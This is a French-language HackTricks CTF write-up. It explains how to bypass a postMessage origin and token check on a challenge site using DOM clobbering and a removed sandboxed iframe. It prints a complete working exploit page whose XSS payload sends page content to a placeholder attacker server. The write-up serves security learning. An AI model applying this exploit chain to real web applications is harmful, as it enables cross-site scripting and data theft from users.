Bypassing SOP with Iframes - 2

Reading time: 4 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Iframes in SOP-2

Dans la solution pour ce challenge, @Strellic_ propose une méthode similaire à la section précédente. Vérifions cela.

Dans ce challenge, l'attaquant doit bypasser ceci :

javascript
if (e.source == window.calc.contentWindow && e.data.token == window.token) {

S'il le fait, il peut envoyer un postmessage avec du contenu HTML qui va être écrit dans la page avec innerHTML sans sanitation (XSS).

La façon de contourner la première vérification est de rendre window.calc.contentWindow undefined et e.source null :

  • window.calc.contentWindow est en fait document.getElementById("calc"). Vous pouvez écraser document.getElementById avec <img name=getElementById /> (notez que l'API Sanitizer -ici- n'est pas configurée pour protéger contre les attaques de clobbering DOM dans son état par défaut).
  • Par conséquent, vous pouvez écraser document.getElementById("calc") avec <img name=getElementById /><div id=calc></div>. Ensuite, window.calc sera undefined.
  • Maintenant, nous avons besoin que e.source soit undefined ou null (parce que == est utilisé au lieu de ===, null == undefined est True). Obtenir cela est "facile". Si vous créez un iframe et envoyez un postMessage depuis celui-ci et que vous supprimez immédiatement l'iframe, e.origin va être null. Vérifiez le code suivant
javascript
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
window.target = window.open("http://localhost:8080/")
await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null

Pour contourner la deuxième vérification concernant le token, il suffit d'envoyer token avec la valeur null et de faire en sorte que la valeur de window.token soit undefined :

  • Envoyer token dans le postMessage avec la valeur null est trivial.
  • window.token dans l'appel de la fonction getCookie qui utilise document.cookie. Notez que tout accès à document.cookie dans des pages d'origine null déclenche une erreur. Cela fera en sorte que window.token ait une valeur undefined.

La solution finale par @terjanq est la suivante :

html
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)

function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`

document.body.appendChild(ifr)

function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}

// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks